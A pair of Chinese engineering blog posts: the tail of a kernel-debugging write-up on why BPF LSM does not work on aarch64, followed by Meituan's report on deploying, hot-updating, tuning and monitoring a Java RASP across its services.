irq_enter_rcu(); tokio-runtime-w-11886 [002] 193385.058233: funcgraph_exit: ! 308.041 us | } tokio-runtime-w-11886 [002] 193385.058239: funcgraph_exit: ! 316.709 us | } tokio-runtime-w-11886 [002] 193385.058247: funcgraph_exit: ! 400.417 us | } tokio-runtime-w-11886 [002] 193385.058255: funcgraph_exit: ! 415.000 us | } tokio-runtime-w-11886 [002] 193385.058555: funcgraph_entry: 8.250 us | irq_enter_rcu(); tokio-runtime-w-11886 [002] 193385.058958: funcgraph_entry: | kallsyms_lookup_size_offset() { tokio-runtime-w-11886 [002] 193385.058974: funcgraph_entry: + 36.333 us | get_symbol_pos(); tokio-runtime-w-11886 [002] 193385.059017: funcgraph_exit: + 59.750 us | } tokio-runtime-w-11886 [002] 193385.059043: funcgraph_entry: | kfree() { tokio-runtime-w-11886 [002] 193385.059057: funcgraph_entry: 3.000 us | __kmem_cache_free(); tokio-runtime-w-11886 [002] 193385.059065: funcgraph_exit: + 22.833 us | } tokio-runtime-w-11886 [002] 193385.059073: funcgraph_exit: # 2644.708 us | } tokio-runtime-w-11886 [002] 193385.059079: funcgraph_exit: # 2706.292 us | } tokio-runtime-w-11886 [002] 193385.059095: funcgraph_entry: 2.792 us | mutex_unlock(); tokio-runtime-w-11886 [002] 193385.059101: funcgraph_exit: # 2870.416 us | } 这次程序已经通过了arch_prepare_bpf_trampoline、set_memory_ro和set_memory_x,我们看到的最后一个函数是kallsyms_lookup_size_offset。 正如我们在kernel/bpf/trampoline.c中的bpf_trampoline_update函数中所看到的,这里并没有明确调用kallsyms_lookup_size_offset: static int bpf_trampoline_update(struct bpf_trampoline *tr, bool lock_direct_mutex) { // ... OTHER CODE ... #ifdef CONFIG_DYNAMIC_FTRACE_WITH_DIRECT_CALLS again: if ((tr->flags & BPF_TRAMP_F_SHARE_IPMODIFY) && (tr->flags & BPF_TRAMP_F_CALL_ORIG)) tr->flags |= BPF_TRAMP_F_ORIG_STACK; #endif err = arch_prepare_bpf_trampoline(im, im->image, im->image + PAGE_SIZE, &tr->func.model, tr->flags, tlinks, tr->func.addr); if (err < 0) goto out; set_memory_ro((long)im->image, 1); set_memory_x((long)im->image, 1); WARN_ON(tr->cur_image && tr->selector == 0); WARN_ON(!tr->cur_image && tr->selector); if (tr->cur_image) /* progs already running at this address */ err = modify_fentry(tr, tr->cur_image->image, im->image, lock_direct_mutex); else /* first time registering */ err = register_fentry(tr, im->image); #ifdef CONFIG_DYNAMIC_FTRACE_WITH_DIRECT_CALLS if (err == -EAGAIN) { /* -EAGAIN from bpf_tramp_ftrace_ops_func. Now * BPF_TRAMP_F_SHARE_IPMODIFY is set, we can generate the * trampoline again, and retry register. */ /* reset fops->func and fops->trampoline for re-register */ tr->fops->func = NULL; tr->fops->trampoline = 0; /* reset im->image memory attr for arch_prepare_bpf_trampoline */ set_memory_nx((long)im->image, 1); set_memory_rw((long)im->image, 1); goto again; } #endif if (err) goto out; if (tr->cur_image) bpf_tramp_image_put(tr->cur_image); tr->cur_image = im; tr->selector++; out: /* If any error happens, restore previous flags */ if (err) tr->flags = orig_flags; kfree(tlinks); return err; } ```shell > **注意:** <code>bpf_trampoline_update</code>的实现与之前的内核5.15稍有不同。 <code>kallsyms_lookup_size_offset</code>的调用被隐藏在另一个函数内部。我们在函数图中看不到它,因为编译器将其内联了。 看起来<code>kallsyms_lookup_size_offset</code>是由<code>ftrace_location</code>调用的: ```c unsigned long ftrace_location(unsigned long ip) { struct dyn_ftrace *rec; unsigned long offset; unsigned long size; rec = lookup_rec(ip, ip); if (!rec) { if (!kallsyms_lookup_size_offset(ip, &size, &offset)) goto out; /* map sym+0 to __fentry__ */ if (!offset) rec = lookup_rec(ip, ip + size - 1); } if (rec) return rec->ip; out: return 0; } ftrace_location被register_fentry调用,而register_fentry在调用ftrace_location之后,在struct bpf_trampoline *tr的fops字段上包含了一次检查。 /* first time registering */ static int register_fentry(struct bpf_trampoline *tr, void *new_addr) { void *ip = tr->func.addr; unsigned long faddr; int ret; faddr = ftrace_location((unsigned long)ip); if (faddr) { if (!tr->fops) return -ENOTSUPP; tr->func.ftrace_managed = true; } if (bpf_trampoline_module_get(tr)) return -ENOENT; if (tr->func.ftrace_managed) { ftrace_set_filter_ip(tr->fops, (unsigned long)ip, 0, 1); ret = register_ftrace_direct_multi(tr->fops, (long)new_addr); } else { ret = bpf_arch_text_poke(ip, BPF_MOD_CALL, NULL, new_addr); } if (ret) bpf_trampoline_module_put(tr); return ret; } 确实,如果tr->fops为false,该函数将返回错误-ENOTSUPP。 让我们找出tr->fops是在哪里初始化的。 如果我们是正确的,那么创建trampoline的地方应该在bpf_trampoline_lookup函数内部。 static struct bpf_trampoline *bpf_trampoline_lookup(u64 key) { struct bpf_trampoline *tr; struct hlist_head *head; int i; mutex_lock(&trampoline_mutex); head = &trampoline_table[hash_64(key, TRAMPOLINE_HASH_BITS)]; hlist_for_each_entry(tr, head, hlist) { if (tr->key == key) { refcount_inc(&tr->refcnt); goto out; } } tr = kzalloc(sizeof(*tr), GFP_KERNEL); if (!tr) goto out; #ifdef CONFIG_DYNAMIC_FTRACE_WITH_DIRECT_CALLS tr->fops = kzalloc(sizeof(struct ftrace_ops), GFP_KERNEL); if (!tr->fops) { kfree(tr); tr = NULL; goto out; } tr->fops->private = tr; tr->fops->ops_func = bpf_tramp_ftrace_ops_func; #endif tr->key = key; INIT_HLIST_NODE(&tr->hlist); hlist_add_head(&tr->hlist, head); refcount_set(&tr->refcnt, 1); mutex_init(&tr->mutex); for (i = 0; i < BPF_TRAMP_MAX; i++) INIT_HLIST_HEAD(&tr->progs_hlist[i]); out: mutex_unlock(&trampoline_mutex); return tr; } 在分配之后,只有在出现CONFIG_DYNAMIC_FTRACE_WITH_DIRECT_CALLS标志时,才会填充trampoline的fops字段。这个标志依赖于HAVE_CONFIG_DYNAMIC_FTRACE_WITH_DIRECT_CALLS标志,而这个标志在aarch64上不存在。 结论 当前情况下,由于缺少_ftrace直接调用_功能,无法在 aarch64 上使用 BPF LSM 。幸运的是,当前的 mainline 分支已经合并了一个 补丁 ,该补丁将在 aarch64 上启用LSMs(以及其他功能)。 预计这些变化将会在下一个6.4版的Linux内核中发布。 2024-01-26 1 0
美团RASP大规模研发部署实践总结 背景 RASP是Runtime Application Self-Protection(运行时应用自我保护)的缩写,是一种应用程序安全技术。RASP 技术能够在应用程序运行时检测并阻止应用级别的攻击。随着云计算和大数据的发展,应用程序安全越来越受到重视。RASP 技术作为一种新型的安全防护手段,正在逐渐被业界接受并广泛应用。其中Java RASP 是一种针对 Java 应用程序的 RASP 技术。通过在 Java 虚拟机(JVM)级别进行监控和防护,能够有效防止对 Java 应用程序的攻击。 RASP建设挑战 在业界,RASP的部署形式一般有agentmain、premain两种方式,二者各有优劣。适合不同的业务场景,以及安全需求。 agentmain:业务无需改动,无需重启,热插拔,动态升级。有性能抖动,业务有感知。 premain:需要改动,需要重启,前置注入,升级需要重启。无性能抖动,业务无感知。 美团的RASP建设时,大部分业务都已经在线上运营,而且有多个发布平台,没有提供一个统一的方式来更改启动参数,也就是说无法通过premain方式是实现快速部署。为了抓住主要矛盾,快速解决大部分风险问题,我们选择了agentmain方式。 业务场景复杂 技术方案的设计,依赖于业务形态。美团内部的业务服务中,Java语言占比80%以上,是主要的风险所在。2010年至今,有特别复杂的业务部署形态、业务依赖环境、繁多的JDK等等,这些都是RASP技术方案的挑战。 业务部署方式:物理机、宿主机、富容器、轻容器等; 发布环境:由于历史原因公司已知的发布系统至少有3个; Web中间件:Spring Boot、Jetty、Tomcat、WebLogic、自研框架等; JDK版本:Oracle、OpenJDK、 MJDK、Kona、Dragonwell、毕昇等; 进程数量:单个主机上进程数量和生命周期差异大,有的几千个进程,生命周期有分钟级、年级等; 问题的拆解思路依旧是抓住主要矛盾,以JDK版本为例,各个版本JDK的主机占比如下图1; 图1 公司JDK版本分布占比 业务目标确定后,解决方案同样具体到某一类的JDK上。同样,在发布环境、Web中间件的差异上,对RASP也有了更多的兼容要求。 对业务性能影响大 agentmain的动态注入机制,对JVM的影响是不可规避的。影响大小可以从与其他安全防护产品的部署位置看出,下图2是常见的基础安全防护产品:WAF、HIDS和RASP,他们与业务的隔离方式有以下几类: 主机隔离 进程(容器)隔离 无隔离(或者类加载器隔离) 图2 主机安全防护产品与业务的隔离等级 与其他的安全产品相比,如网络应用防火墙(WAF)和主机入侵检测系统(HIDS),RASP与业务部署在同一Java虚拟机(JVM),其隔离级别是最低的。这就意味着,当RASP自身出现BUG或者与业务不兼容时,对业务造成直接影响。RASP 一旦出现故障那至少是S4级别(核心功能受影如资损、客诉,且预判5分钟无法恢复) 。从业务指标上分为cpu和执行耗时,执行耗时方面主要是对服务的TP9999影响较大,而CPU方面出现cpu.busy指标抖动情况。对于业务的指标影响,有以下几种: 运行时注入cpu.busy指标突增 下图3为特殊情况下运行时注入cpu.busy指标抖动情况,在RASP注入时间内(CPU分钟级别采样),Java 进程的CPU从0%飙升到50%,然后又恢复。如果RASP注入之前Java进程的CPU已经很高了,注入时CPU会直接打满(注入前后10分钟)。 图3 运行时注入cpu.busy指标抖动情况 运行时注入TP9999指标 下图4为运行时注入TP9999指标抖动情况。单机维度,注入时TP9999从5ms飙升到1000ms,大幅度增加,TP9999出现明显的尖刺,对响应时间敏感的服务影响特别大。 图4 运行时注入TP9999指标抖动情况 启动时性能差与检测逻辑执行耗时长 在RASP启动时,大量请求进入到检测流程中,此时RASP检测代码没有完成预热,检测方法处于字节码解释运行模式,执行效率低,从而导致启动时TP线高。如果正常的请求检测耗时过长,将严重影响业务的TP线,甚至导致请求超时。 在RASP运行过程中,因为检测引擎执行耗时长也会导致业务超时。 升级变更难 由于原生Java Agent的限制问题,JVM一旦加载了Agent,就无法进行更新,只能等待JVM重启。 图5 运行时Java Agent的实现原理与升级过程 图5左边的图展示了一个典型的运行时Java Agent的实现原理。在这个过程中,守护进程(这里指主动发起Attach的进程RASP Daemon)会attach到目标JVM上,然后RASP Agent的jar包会被JVM的AppClassLoader加载,接着Agent就会初始化并开始运行。然而,由于JVM类加载机制的限制,同一个类(Agent入口类)无法被AppClassLoader加载器加载两次。使用新的Agent jar包重新attach,即使attach成功,也不会加载新的类。因此想要增加新的功能或者进行bug修复,就必须等待业务进程重启后才能实现。 这也就是说,RASP功能的升级完全依赖于业务进程的重启时机。然而,我们发现线上有些业务,如大数据服务的核心节点,其重启时间可能长达半年甚至更长时间,这就使得RASP的功能升级过程变得异常漫长。由于服务长期未重启,RASP版本无法进行更新。影响主要有2个方面,一方面长期未重启服务的RASP版本低于最新版本,RASP Daemon需要兼容多种RASP Agent版本,这无疑提升了代码工程向下兼容的工作量和稳定性;另一方面,未重启的服务最新的hook点无法生效,也带来一定的安全风险。 热更新是强诉求 在美团内部,安全部门需要不对业务有过多打扰的前提下保障业务安全运行。大规模重启服务风险高,不具备可实施性。如果遇到紧急漏洞或者重大bug时,这种升级难的问题尤为突出。升级难的问题是RASP在部署中遇到的第一个重大问题。 监控难 当JVM加载Java Agent后,由于其运行在业务的同一层面,必然会对业务产生一定的影响。这些影响可能包括CPU使用率飙高、TP9999线的波动,甚至可能出现故障如内存泄漏、磁盘打满、核心转储(core dump)、触发JDK Bug、线程死锁、GC时间变长等等各种问题。业务反馈的线上各类问题的占比如下图6所示。 图6 RASP各类故障占比 由于RASP接入对用户无感知,一旦出现这些问题,业务方定位问题的源头往往耗费大量时间。业务需要对业务状态日志、GC日志、系统变更日志等进行详细的排查,以确定问题的根因。在实际的运行过程中,往往是业务最先反馈RASP影响,而RASP不能做到对故障及时感知与处理。 RASP架构介绍 美团 RASP 利用 Java agent 和instrumentation技术,通过 ASM 修改类字节码,实时分析检测命令执行、文件访问、反序列化、JNDI、SQL注入等入侵行为。它最初是从开源项目btrace 演化而来,后使用Golang重写了btrace的进程注入的功能,即架构中的 RASP Daemon 部分,在 Java Agent 端也参考了一些开源项目和公司内部的性能诊断工具。经过多年的迭代,RASP 逐渐形成目前的架构。 通过RASP管理端进行主机维度的配置下发,将最新配置更新应用到 RASP Daemon。日志收集和jar包下载使用公司基础组件,通过这些组件的协同工作,实现对 RASP 部署过程的管理,包括支持灰度发布、配置回滚、降级和一键关闭操作。下图7为 RASP 的配置分发流程。 图7 RASP的配置分发流程 解决方案 灰度部署方式和复杂场景的兼容 RASP 启动方式 传统的RASP直接修改JVM启动参数增加RASP的Java Agent参数,即premain方式。而美团的RASP在最初只支持运行注入agentmain方式,不支持premain。原因主要是下面的2个方面: 在RASP项目建立时,公司的机器节点数量已经有几十万规模了,业务先行,安全补位。已经面临风险,需要尽快实现安全能力覆盖。 早期公司内部服务发布平台不完善,有多个发布系统,并且每个业务线的发布脚本不统一,统一控制的力度弱。 综合业务现状与安全诉求,比较符合技术选型的是agentmain机制。无需业务改动,也不依赖统一的代码发布平台,做到安全部门可控的能力覆盖。 经过多年部署,RASP已经覆盖大部分业务,具备相应安全能力。但也逐步遇到业务抱怨RASP注入带来的性能抖动问题。随着公司基础组件建设,也逐步统一了代码发布系统,在JAVA类服务的管控上有了统一的控制入口。同时,IDC内服务形态逐渐从VM虚拟机演化到容器,RASP的服务环境也与以往不一样。 当下主要矛盾发生变化,业务形态发生变化,支持premain的技术方案迫在眉睫。RASP联合服务发布与镜像团队在拉起服务之前将RASP的Java Agent以环境变量的方式设置到服务启动脚本的上下文中。下面为部署脚本中关于RASP环境变量的设置片段。 // 前置检查... // 增加环境变量 if [[ $RASP_SWITCH=="ON" ]];then JAVA_TOOL_OPTIONS="$JAVA_TOOL_OPTIONS -javaagent:rasp-premain.jar" && export JAVA_TOOL_OPTIONS fi // 启动Java进程... 配置分发方案 在 RASP 升级新版本时,为尽可能地提高稳定性,需要按照一定策略进行灰度升级。 公司内部分为测试和生产等多种环境,并且测试环境服务器数量为万级别,RASP 需先在线下环境稳定运行足够时候后再开始线上环境灰度; 服务按照重要性(或者环境复杂性)从低到高划分为普通服务、重要服务、高优服务3个类别,依次进行。 每一个服务需要再按照主机数量的百分比进行灰度,一个服务下的主机不能同时进行 RASP 的升级,需按照 10%、30%、50%、100% 的比例灰度。 Web/JDK版本识别与准入 RASP Daemon(golang语言) 通过内核进程事件,感知新进程。再识别进程的cmdLine、JDK、Tomcat、Jetty、Spring Boot等的关键jar包,解析出JDK版本、Web类型和版本。对于已经兼容的服务可以开启注入,对于无法识别或者与RASP不兼容的服务关闭注入(es、jetty等个别版本),最大程度的减少对业务的影响。 组件的兼容性 JDK 兼容性:美团RASP除了使用ASM包之外基本上不使用第三方组件,降低供应链攻击,同时减少对不同版本JDK的专有特性依赖,对于JDK的代码也尽可能的本地化到RASP工程中,屏蔽JDK的版本差异性。 Java Agent 兼容性:公司有多种Java Agent 包括性能诊断,安全扫描、动态调试、流量录制、热部署、链路追踪等约十多种,这些工具实现原理都是基于Instrument。 冲突主要在还是在字节码修改上,例如RASP与jdwp的兼容上,最初版本的RASP在业务类中增加方法数量,当用户开启远程debug时,本地代码的方法数量与远程不一样,导致JVM崩溃。Java Agent应该遵循的规范: 字节码的修改应该遵循下面的基本原则:不允许新增、修改和删除成员变量 ;不允许新增和删除方法 ;不允许修改方法签名(来源于:Java 字节码规范); Java Agent的jar包应该采用自定义类加载加载,依赖包名称前缀替换等方式,避免与其他Java Agent和业务依赖的冲突; 与其他Java Agent约定,在类查找遍历修改时排除其他的Java Agent的包名称,避免相互引用; 对于热部署等Java Agent,由于它不遵循字节码修改的基本规范,很遗憾,目前无法兼容,只能排除关闭注入; 2.2 RASP的运行时注入与更新 运行时注入方式解决了RASP的首次注入不依赖业务重启服务的问题,但是随着部署场景的增加,不可避免的要对RASP进行更新迭代,如何升级成为一个让人头疼的问题。于是更新也不依赖业务重启,成为一个需要解决的最大问题。 插件热更新是一项具有挑战性的技术,也是RASP建设初期要求具备的核心特征之一。由于美团拥有上百万个Java服务节点,一般的Java Agent安装和升级都需要重启Java进程,对于如此庞大规模的服务来说,这并非易事。在超大规模下,如果依赖业务重新发布的方式来使RASP生效,需要等待所有的服务重启一遍。RASP项目没有权限重启业务。因此,对于RASP来说,插件热更新是至关重要的。 在最初的版本中,当RASP注入到业务中后,如果需要更新功能(如修改策略或hook点),仍然需要重新启动Java进程。如果业务不重启,之前版本的RASP会残留在进程中无法卸载,而新版本需要兼容这些无法卸载的部分。这导致线上存在多个不同版本的RASP,不同版本之间的兼容性几乎无法实现,这种方式是行不通的。 因此, RASP借鉴了Tomcat的类加载器架构,将功能分为两类:第一类是需要频繁迭代的功能,如hook点、资源监控、检测引擎、通信等;第二类是几乎不需要改动的部分,如插件加载和初始化部分。将第一类功能抽取出来,形成一个单独的插件包(RASP Plugin),插件包由自定义类加载器加载,使得这部分具备运行时更新的能力。而RASP Agent引导包仅保留几个类,负责初始化插件jar包。下图8展示了拆分前后的对比: 图8 mt-rasp jar包拆分前后对比 对于拆分后的架构,首次注入 RASP Agent 加载V1.0的插件,在需要对插件进行更新时,清除RASP PluginV1.0对象的引用和PluginClassLoader对象,然后创建新的PluginClassLoader实例重新加载并初始化V1.1版本插件,从而实现插件的卸载与热更新。上面拆分方案实现依靠自定义RASP类加载器,RASP的类加载器层次结构(agentmain)如下图9所示: 图9 RASP的类加载器层次结构 从顶层类加载器开始依次说明RASP包的功能和所属的类加载器。 rasp-boot.jar:定义全局变量,能够被所有类访问到,使用BootstrapClasLoader加载; rasp-agent.jar :标准的Java Agent 入口类,定义了agentmain/premain 等Agent初始方法、加载plugin并初始化,使用AppClassLoader加载; rasp-plugin.jar :RASP核心实现,包括hook点、检测逻辑、资源监控等功能,使用自定义类加载器RaspClassLoader加载; Script.class :定义检测逻辑,父加载器为RaspClassLoader,使得脚本类能够访问rasp-plugin.jar中的类,使用自定义类加载器ScriptClassLoader加载,并且脚本在磁盘加密在运行时解密。 premain & agentmain 两种方式兼顾 agentmain和premain方是Java Agent的两种启动方式,agentmain在Java进程启动后加载,而premain在Java进程启动前加载。由于启动时机不一样,带来的差异主要有agentmain 更新加载更加灵活,但是字节码修改时存在性能问题,特别是对性能比较敏感的服务;而premain需要将javaagent参数加入到JVM启动命令行中,完全依赖业务启动,不太灵活,但是性能上比较稳定。美团RASP采用agentmain与premain结合方式,平衡灵活性与性能。原则上premain逻辑尽可能的简单,避免频繁的迭代与升级。 premain 一期方案 RASP在加载时,Java进程的CPU会短暂的升高甚至打满,并且CPU核数越少,升高越明显持续时间越长。根因是Java Agent首次加载时会触发JVM中的code cache区域清零机制(可以认为是JDK的bug),大量热点代码的编译导致JIT编译线程将CPU打满,并且这种现象在CPU核数低于4核时表现尤为明显。 Manifest-Version: 1.0 Premain-Class: com.meituan.rasp.agent.RaspAgent Agent-Class: com.meituan.rasp.agent.RaspAgent Can-Redefine-Classes: true Can-Retransform-Classes: true Can-Set-Native-Method-Prefix: true 为了解决运行时CPU飙高问题,我们引入空的premain包(premain v1.0)(仅开启上面的字节码转换的开关Can-Redefine-Classes,无任何逻辑,也不修改字节码),在应用启动前加载,该方案取得较大优化效果。因为无任何代码,代码兼容性风险极小(并不是没有),因此能快速上线解决CPU飙高问题。以某个业务的主机为例子,在优化前后的cpu.busy指标如下图10所示(注入前后10分钟)。 图10 cpu.busy指标优化前后对比 图10中红色为优化前的cpu.busy指标,优化前即使注入前系统负载很低(4核8G,cpu.busy <2%),注入瞬间CPU依然飙升很高(28%);蓝色为优化后的cpu.busy指标,优化后cpu.busy曲线较平滑,无明显尖刺。 premain 二期方案 采用premain一期方案的原因是代码足够简单,几乎没有兼容性问题,因此能够快速大规模部署解决棘手的cpu抖动问题,上线效果较好。但是大部分服务虽然CPU不飙高了,但是还有少部分的服务TP9999指标依然影响较大。 修改字节码TP9999线升高分析 premain一期方案主要用来快速解决cpu.busy抖动问题,但是对于性能比较敏感(如tp9999 < 50ms)的业务,运行时字节码修改不可避免的造成STW,从而导致TP9999 线升高。因为字节码修改时需要进入JVM的safepoint,执行字节码转换的方法VM_RedefineClasses::doit会导致应用短暂地暂停响应,这部分代码执行慢就会影响应用TP9999。大批量修改字节码测得火焰图如下图11所示。 图11 批量字节码转换时的Java进程火焰图 从火焰图11看出,RedefineClasses 耗时主要在VM_RedefineClasses::AdjustCpoolCacheAndVtable::do_klass ,hotspot JDK官方也有类似的issue。转换一个类的主要耗时在redefine_single_class方法,初步测试耗时占比在40%~80% 之间,并且一次转换类越多,占STW总耗时越大。 类转换STW时间与服务负载(QPS)关系 在同一服务(硬件配置8核8G)测试了修改类的个数、服务负载和STW时间的关系如下图12所示: 图12 类转换STW时间与服务QPS、转换类数量的关系 从上面数据可以对比看出: 业务请求QPS为0时,STW时间并不为0; QPS为20时,一次转换的类越多,单个类的STW耗时越长; 转换相同数量的类,随着QPS的增加,STW时间有增加,但是不明显; 从上面的分析可以看出,修改字节码无法避免的产生STW(当然,优化这部分JDK代码理论上是可以实现的,但是技术难度较高,短期内无法解决),因此只能从规避的角度出发来解决。原则上只要保证字节码修改时没有请求即可。 一种可行的方案是将字节码转换的逻辑前移到JVM启动前(即业务没有流量或者主动摘除流量),并且尽量避免有请求时大批量的回滚/修改字节码,能够在一定程度上避开或者缓解STW影响业务请求响应时间。 premain修改字节码 对于高频率调用的方法如http body参数读取、sql.execute等,使用premain修改字节码插入RASP检测逻辑,premain agent做到轻量级。对RASP的架构做出相应修改,新增rasp-premain.jar,让服务启动前进行加载并初始化,将字节码的转换逻辑前置到启动时,如下图13所示,蓝色jar包为新增的rasp-premain.jar。 图13 RASP类加载器增加premain agent 为了最大程度复用之前的系统架构,premain加载后虽然字节码已经被转换,但 RASP的功能在逻辑上是关闭的,需要等到 agentmain 注入之后打开检测开关。premain 只做字节码转换,没有日志和通信等功能,不能单独工作。如图14所示,优化前后TP9999指标有较明显改善。 图14 优化前后注入时TP9999指标 运行时性能优化与整体指标 rasp加载之后的流量预热 在RASP的流量控制层增加对流量的计数,RASP初次接入流量时控制接入流量的比例(如1%),使得业务业务流量能够预热RASP检测逻辑,预热时间或者次数达到设定的阈值后,再开启100%的流量检测。 软降级与逻辑开关 业务负载较高的场景(CPU飙高、hook逻辑执行严重超时等),为了避免RASP检测逻辑加剧性能恶化,RASP采样软降级措施,关闭对应hook类的逻辑开关,使得部分流量不执行检测逻辑。如果性能进一步恶化,RASP运行模式降级为观察上报模式,待系统资源检恢复正常过后,资源监测通过后自动恢复到检测阻断模式。 延时回滚字节码 RASP更新插件代码时,需要将plugin的全部对象置空,否则会有内存泄漏问题,特别是元空间的内存泄漏,将导致业务将运行越来越慢,直到停止运行。从前面的STW时间结论来看,运行时的字节码回滚(和修改机制相同)也会产生STW,因此RASP将hook代码的逻辑开关关闭后,字节码依然留在业务类中,在清理完各种对象引用关系后,依然能够卸载plugin插件。 监控体系建设 全局维度的监控指标: 主机注入覆盖率大盘; coredump总数; 高峰期字节码的修改数量; 熔断超时数量和比例; 单机维度指标:从业务层面到系统层面如下(列举部分) 业务层面:检测引擎执行耗时、TP9999、请求出错率等 JVM层面: 堆内存、元空间/永久代、线程死锁、插件加载次数限制、GC、STW耗时、字节码转换等 进程层面:Java进程CPU、内存、coredump、守护进程状态等 系统维度:系统CPU、系统内存、系统磁盘空间、网络等 图15 RASP监控的指标分布 系统指标和进程指标对于Golang来说很容易获取,相关api较多。这里仅以JVM指标元空间使用率(MetaSpace)的检测为例子说明。RASP Daemon 执行attach获取目前JVM的最大元空间(MaxMetaSpaceSize)指标,然后读取 /tmp/hsperfdata_${user}/pid 文件解析元空间的占用(usedMetaspaceSize参数在jvm里面是sun.gc.metaspace.used),计算出元空间的占用比例和剩余空间,当剩余空间不足时,禁止RASP Agent注入,防止RASP成为压垮业务的最后一根稻草。 性能影响 测试配置: 8核/8G/150G 压力:QPS梯度100,持续120s,稳定施压 120s cpu.busy 表1 注入前后的cpu.busy指标 基准数据(不加载RASP) 注入数据(加载RASP) CPU指标增量值 QPS=20 3.47% 4.18% 0.71% QPS=100 11.70% 11.76% 0.06% QPS=200 20.95% 21.05% 0.15% QPS=300 32.12% 32.78% 0.66% QPS=400 41.23% 44.2% 2.97% QPS=500 52.78% 56.5% 3.73% 最大QPS 620 587.8 - 拟合方程 拟合方程:y = 0.103x + 1.203 拟合度:0.999 拟合方程:y = 0.109x + 0.827拟合度:0.998 cpu.busy 绝对值增加: 0.06%~3.73%,整体性能与开源的RASP相当 堆内存增加 QPS超过350时系统cpu达到35%,触发弹性扩容,QPS压测到350可以测出最大内存损耗。 表2 注入前后的内存增加值 最小值 平均值 最大值 基准(QPS=350) 422.38MB 638.34MB 3.10GB 注入(QPS=350) 457.69MB 821.59MB 3.30GB 差值 32MB 183MB 0.2GB 注入前后对比,压测到系统弹性扩容的最大QPS,最大堆内存增加约200M,整体性能与开源的RASP相当 元空间增加 元空间/永久代增加2MB,优于开源RASP产品 请求耗时 当前请求耗时控制在5ms内,优于开源RASP产品 漏洞检测 支持的漏洞类型 经过近多年的研发迭代,目前具备的漏洞检测类型如下,基本覆盖常见漏洞(部分):命令执行 (支持native方法)、SQL注入、文件访问、反序列化攻击、JNDI、表达式等等。 实时检测与阻断 不同语言实现的脚本性能比较 开源方案中采用了JavaScript引擎作为实现方式,JS脚本可以被Java、php和c++等各种语言兼容,具备较强的通用性。但是经过测试,与原生Java相比,这些方案在性能上存在较大的差距。尽管JavaScript引擎具有不同语言通用性的大优势,但在执行性能方面并不满足高性能场景下RASP的需求。在美团,相比于性能,检测引擎的语言通用性并不是最重要的考虑因素。下面简单对比一下JavaScript和Java实现的检测引擎的性能。因为检测脚本主要涉及字符串的各种操作,我们选择了字符串累加的for循环作为测试场景。 // java c+='c' // javascript c=c+'c' 经过测试,我们发现Java在执行这种字符串操作的性能方面表现更好。Java作为一种编译型语言,具有较高的执行效率和优化能力。它可以通过使用StringBuilder等高效的字符串操作类来提高性能。相比之下,JavaScript作为一种解释型语言,执行效率相对较低。因此,在高性能场景下,使用Java实现的检测引擎往往能够更好地满足需求。尽管JavaScript引擎具有通用性,但在性能要求较高的场景下,选择使用Java实现的原生检测引擎更为合适。 表3 10万量级的for循环中跑出结果如下(单位ms) javascript java 平均执行耗时 585 6.5 可以看出Java语言实现的检测引擎,性能上具备优越性。美团RASP使用Java语言构建检测引擎,能够满足性能上的需求。 检测脚本的实现 在RASP Plugin中定义了检测脚本需要实现的接口,脚本的实现类由RASP Server下载到磁盘上;RASP Agent定时检测脚本文件是否更新,如果脚本更新,使用新的类加载器加载磁盘上的class文件,并创建实例。 阻断与热修复 在RASP中,通常会在hook方法的执行之前(before)、返回(return)和抛出异常处(throw)增加检测逻辑。RASP通过使用ASM字节码框架,在方法的before、return和throw处织入检测逻辑的字节码(下图16黄色框)。 图16 RASP阻断热修复控制流程 这里以在方法返回之前增加hook逻辑为例子说明阻断/热修复的流程: 字节码插桩:使用ASM工具识别方法中的返回指令如(return、areturn等),在返回指令之前插入RASP的检测方法的字节码,使用instrument的restransform api将修改后的字节码替换原来的字节码。 运行时检测:当检测引擎返回阻断异常对象时,方法的异常处理抛出阻断异常,终止方法的执行(上图16红色箭头的流程);当检测引擎返回对象时,提前返回指定的对象,修改返回的返回值(上图16中蓝色箭头的流程);返回Null,表示既不阻断也不返回对象(上图16绿色箭头的流程),不改变当前方法的执行流程和返回对象。 热修复与阻断的区别在于热修复返回的是一个对象,这个对象是修复后的正确的对象。 成果 美团RASP经过多年的建设,在覆盖对象、部署方式、性能优化、兼容性和安全策略等多个方面逐步迭代,现在已覆盖绝大多数Java服务,支持众多web容器部署,基本覆盖常见的安全漏洞,整体覆盖率上达到了较高水位,并且多次检测出海量的漏洞攻击,成为美团IDC基础安全纵深防御体系中最重要的安全能力。 总结 本文主要介绍了美团RASP在研发过程中遇到的问题和解决方案。首先介绍了RASP的痛点问题,包括业务场景复杂、升级变更难、对业务性能影响大和缺少监控等。对于RASP的升级问题,引入了插件热更新的技术,可以在不重启Java进程的情况下,即时地更新RASP的功能。为了降低对业务性能的影响,介绍了采取的优化措施,包括低峰期注入、启动时流量预热、软降级与逻辑开关以及插件卸载时不回滚字节码等关键技术。然后介绍了RASP的监控体系建设,包括监控指标的定义和收集。最后介绍了RASP的性能与灰度策略,通过对性能损耗的测试和分析,可以看出RASP对CPU和QPS的影响较小。在灰度策略方面,RASP结合了业务形态,特性影响等,选择合适的验证机制和测试方法。 后续规划: 新型容器形态支持:美团IDC形态中,逐步从VM、富容器过度到轻容器,未来轻容器的会快速增加,RASP的管控机制、容器隔离机制,都是未来RASP的挑战; 低打扰无感接入:宿主业务的低打扰,注入性能影响,小众场景的覆盖,依旧是RASP的核心重点,让业务无感、自动、默认接入RASP,提升整体IDC防御水位; 管控、监控自动化:管控端的配置下发依赖链路较多、流程较长,配置变更成本风险高,优化为更高效、更实时、更准确的机制; 本文作者 许乐 、孙绥 、石东华、陈驰、郁丛祥、卢世宇等来自于美团信息安全部。 招聘 范围包括不限于HIDS、RASP、EDR、零信任产品等基础安全方向研发 可直接在本公众号内发送简历。 岗位职责 负责美团应用程序自我防护系统的开发,通过Java字节码技术实现Java应用程序的防护;工程能力做到百万级别的Java应用覆盖,保障稳定性和性能;RASP/IAST等安全产品技术预研; 岗位要求 具备计算机科学、信息安全或相关领域的本科及以上学历; 熟练掌握 Java、Python、Go 等编程语言中的一项或多项; 至少能够精通一个Java web框架的原理,有一定的字节码技术的研发使用经验; 有过中间件开发经验,大规模覆盖应用者优先; 具备出色的分析问题和解决问题的能力,良好的团队协作和沟通能力; 具备良好的学习总结能力,并乐于分享; 优先条件 有过JVM技术研究经验; 有过RASP/IAST/APM开发经验; 岗位亮点 技术本身的难度; 挑战工业界的工程能力 2024-01-16 0 0
